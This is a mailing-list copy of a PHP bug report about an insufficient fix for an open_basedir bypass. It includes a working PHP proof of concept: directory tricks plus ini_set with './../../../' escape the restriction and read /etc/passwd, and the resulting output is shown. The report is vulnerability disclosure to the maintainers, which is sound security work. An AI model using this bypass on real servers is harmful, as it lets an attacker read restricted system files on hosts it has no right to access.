[php-src] Issue #10469: open_basedir insufficient fix #76359

From: Date: Sun, 29 Jan 2023 18:20:44 +0000
Subject: [php-src] Issue #10469: open_basedir insufficient fix #76359
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-243589@lists.php.net to get a copy of this message
Issue: https://github.com/php/php-src/issues/10469
Author: BorelEnzo

### Description

A bug was already reported (https://github.com/php/php-src/pull/7024),
providing details about how open_basedir could be bypassed. The principle was to create
a sub-directory, to move to this directory, and to refer to its parent with ../ while
modifying the directive open_basedir. Since the parent would still belong to the
restricted directory, the modification was accepted. This bug was fixed and could not be reproduced
in latest versions. However, tweaking a little bit the payload makes possible to bypass the
restriction. Here is a small PoC:

```php
<?php
//just as an example, we try to read /etc/passwd
 function read_etc_passwd(){
    $content = @file_get_contents("/etc/passwd");
    if ($content !== false){echo $content;}
    else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
 }
 echo "Running PHP version ".PHP_VERSION.PHP_EOL;
 read_etc_passwd(); //should fail
 $path = "a/b/c"; //create 3 sub-dirs, cause we are in /usr/src/myapp (3 levels)
 $here = getcwd(); //save CWD
 if (mkdir($path, 0777, true)){
   chdir($path); //move to these new dirs
   ini_set("open_basedir", ini_get('open_basedir').":../../../");
//try to change open_basedir with old payload
   chdir($here); //get back to previous dir
   echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL;
//should have failed, open_basedir is still the same
   read_etc_passwd(); //confirm by trying to read /etc/passwd, should fail
 }
 //now do the same, but preprend ./ while modifying open_basedir
 $path = "d/e/f";
 if (mkdir($path, 0777, true)){
    chdir($path);
    ini_set("open_basedir", ini_get('open_basedir').":./../../../");
    chdir($here);
    echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
    read_etc_passwd(); //now it works
  }
  ?>
```

Resulted in this output:
```
Running PHP version 8.2.2RC1
Nope, /etc/passwd not readable
open_basedir directive is still /usr/src/myapp/
Nope, /etc/passwd not readable
open_basedir directive is now /usr/src/myapp/:./../../../
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

Since this was reported and patched, it seems that this is an unintended bypass.


### PHP Version

PHP 8.2.2RC1

### Operating System

_No response_


Thread (1 message)

  • BorelEnzo
« previous php.bugs (#243589) next »